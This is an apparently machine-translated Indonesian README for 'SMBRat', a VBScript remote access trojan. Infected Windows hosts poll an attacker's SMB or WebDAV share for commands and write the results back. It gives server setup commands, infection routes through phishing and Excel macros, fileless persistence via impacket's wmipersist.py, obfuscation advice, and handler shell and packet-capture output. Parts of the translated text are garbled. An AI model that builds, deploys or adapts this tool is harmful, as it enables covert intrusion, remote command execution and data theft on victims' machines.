Alat Administrasi Jarak Jauh Windows dalam Skrip Visual Basic
Lingkungan Windows seperti Jaringan Direktori Aktif , menjadi sangat penuh dengan lalu lintas SMB .
Semua host mendapatkan Kebijakan dari SYSVOL , konfigurasi memerlukan file jarak jauh agar berfungsi, pintasan desktop cenderung mengarah ke \somethingelseinthenetwork.exe
.
Tidak ada yang akan menyadari adanya upaya koneksi lagi. Benar?
- Apalagi jika berhasil (sudah menjadi mode untuk hanya memonitor Firewall Denies saja)
agent
adalah Skrip Visual Basic yang berjalan pada host yang terinfeksi dan terhubung ke Server SMB . Itu menciptakan sebuah direktori di sana yang diberi nama sesuai hostname
host dan alamat MAC
utama (berusaha menjadi unik dan informatif pada saat yang sama untuk tujuan pelaporan). Semua perintah dan info untuk Host yang terinfeksi akan disimpan di direktori ini. zip
ping seluruh Folder Bersama akan mengarsipkan semua info proyek!
Itu TIDAK menggunakan huruf drive untuk Memasang Share, hanya menggunakan UNC paths
untuk langsung membaca file jarak jauh (tidak ada Drive yang dibuat di explorer.exe
).
Itu juga memasukkan UNC path
ke dalam variabel %PATH%
dari lingkungan eksekusinya sendiri (Anda dapat menjalankan executable langsung dari sistem file mesin Linux Anda).
agent
dikonfigurasi untuk berjalan satu kali . Tanpa kewarganegaraan .
Rutinitasnya (kurang lebih) sebagai berikut:
exec.dat
di folder yang dibuat di SMB Sharecmd.exe /c <command>
seperti shell semi-interaktif .output.dat
(di sebelah exec.dat
).exec.dat
. handler
memerlukan Server SMB agar dapat berfungsi. Modul smbserver.py
dari paket impacket
Core Security bisa digunakan.
Kemungkinan besar smbd
juga akan melakukan trik tersebut, tetapi belum diuji.
Diperlukan pembagian dengan nama D$
, agar terlihat seperti SMB host Windows yang sah.
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies
[ * ] Config file parsed
[ * ] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[ * ] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[ * ] Config file parsed
[ * ] Config file parsed
[ * ] Config file parsed
Karena agent
dikonfigurasi untuk hanya menggunakan jalur UNC, WebDAV juga dapat digunakan dengan zero-changes . Alih-alih server SMB, server WebDAV dapat digunakan (server WebDAV yang bagus dengan dukungan SSL adalah wsgidav).
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO : WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO : Lock manager: LockManager(LockStorageDict)
[...] INFO : Property manager: None
[...] INFO : Domain controller: SimpleDomainController ()
[...] INFO : Registered DAV providers by route:
[...] INFO : - ' /:dir_browser ' : FilesystemProvider for path ' /root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs ' (Read-Only) (anonymous)
[...] INFO : - ' / ' : FilesystemProvider for path ' /tmp/DAV ' (Read-Write) (anonymous)
[...] WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING : Share ' /:dir_browser ' will allow anonymous read access.
[...] WARNING : Share ' / ' will allow anonymous write access.
[...] INFO : Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO : Serving on http://0.0.0.0:80 ...
[...] INFO : 192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] " PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat " length=0, depth=0, elap=0.004sec - > 207 Multi-Status
Untuk dukungan SSL, jalur UNC harus sedikit diubah, dari:
\<Server-IP>DIR
ke:
\<Server-IP>@SSL@443DIR
Perubahan ini hanya dapat dilakukan pada variabel ServerName
agent.vbs
, karena semua jalur dibuat oleh ini. Perlu diingat bahwa sertifikat SSL harus dipercaya oleh sistem yang menjalankan agent
. Sertifikat yang ditandatangani sendiri akan gagal dengan peringatan.
Perulangan While dapat ditambahkan ke awal file agent.vbs
, dengan pernyataan penundaan beberapa detik (idealnya 10 detik), dan akan dapat menginfeksi host windows dengan mengklik dua kali / phishing / makro excel / dll...
Perulangan while True
di VBS dengan penundaan 1 detik terlihat seperti ini:
Do While True
[ ... ]
WScript.Sleep 1000
Loop
Namun, jika host Windows memiliki RPC yang diaktifkan, dimungkinkan untuk menginstal file VBS sebagai malware tanpa file melalui WMI
dan contoh paket impacket
yang luar biasa dengan perintah seperti:
$ examples/wmipersist.py ' <username>:<password>@<hostname/ipaddress> ' install -vbs agent.vbs -name smbrat -timer 10
Dimungkinkan juga untuk memanfaatkan alat WMI
dengan akses lokal untuk menginstal agent.vbs
sebagai malware tanpa file.
Skrip Visual Basic dapat dikaburkan dengan baik, dibuat base64 dan juga diperkecil .
Akan sangat berguna untuk mencobanya sebelum "menerapkan"
Pada saat penulisan, tidak ada shell jadi penggunaannya bisa dilakukan hanya dengan menggunakan perintah seperti Handler
yang diimplementasikan,watch
untuk memeriksa file output.dat
:
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA : BB : CC : DD : EE : FF/output.dat
dan echo
untuk menulis sesuatu ke file exec.dat
:
$ echo ' whoami /all ' > Share/projectName/DESKTOP-XXXXXXX-AA : BB : CC : DD : EE : FF/exec.dat
handler.py
Shell eksperimental berfungsi sebagai berikut:
$ python handler.py Share/
SMBRat >
# When a new host gets infected:
[+] Agent " DESKTOP-EG4OE7J " (00:0C:29:2B:9F:AF) just checked-in for Project: " projectName "
SMBRat > execall whoami /user
[ > ] Sending ' whoami /user ' to " projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF " ...
SMBRat >
[ < ] Response from ' projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ' :
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority s ystem S-1-5-18
^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat >
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]
15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)
E...,E@[email protected].../.../....8
. & Mi~.6P.. > .......[.SMB........................
.@............ . ; ........... .net localgroup " administrators "
[...]
15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)
E...E.@......./.../..8..i~..
. ' *P....b.......SMB2......................
.F..z.....(...........z.D.........}...........p.r.o.j.e.c.t.N.a.m.e..D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F..o.u.t.p.u.t...d.a.t...
[...]
15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)
[email protected]../.../..8..i~.
.).P....*.....T.SMB........................
.T....$....... ' ..$.Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.
[...]
Lalu lintas ( isi dan jalur file) ditransfer dalam teks biasa jika Server SMBv1 digunakan (misalnya impacket
's smbserver.py
).
Semua Agen dapat memodifikasi file yang disimpan di Whole Share . Artinya mereka dapat memodifikasi exec.dat
Agen lain... Sebuah smbmap
akan menjelaskan:
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445 Name: Deskjet-4540
Disk Permissions
---- -----------
D$ READ, WRITE
[ ! ] Unable to remove test directory at \ 172.16.47.189 D $ S VNRmxBFAO, plreae remove manually
IPC$ READ, WRITE
[ ! ] Unable to remove test directory at \ 172.16.47.189 I PC$ S VNRmxBFAO, plreae remove manually
-u
dan -p
smbmap
.Ini adalah sesi NULL (seperti login anonim FTP). SEMUA ORANG dapat mengubah File SAHAM dan mendapatkan Eksekusi Kode Jarak Jauh di semua mesin yang terinfeksi.
iptables
di sini... Ketik execall netsh
dan Anda kehilangan semua Agen Anda. Tidak ada yang akan merespons karena agent.vbs
akan memunculkan shell netsh.exe
dan akan menunggu hingga shell tersebut dihentikan, sehingga ia dapat menulis isinya ke output.dat
. Tapi coba tebak... Itu tidak akan berhenti... Ini akan menggantung dengan netsh>
menunjuk ke kekosongan.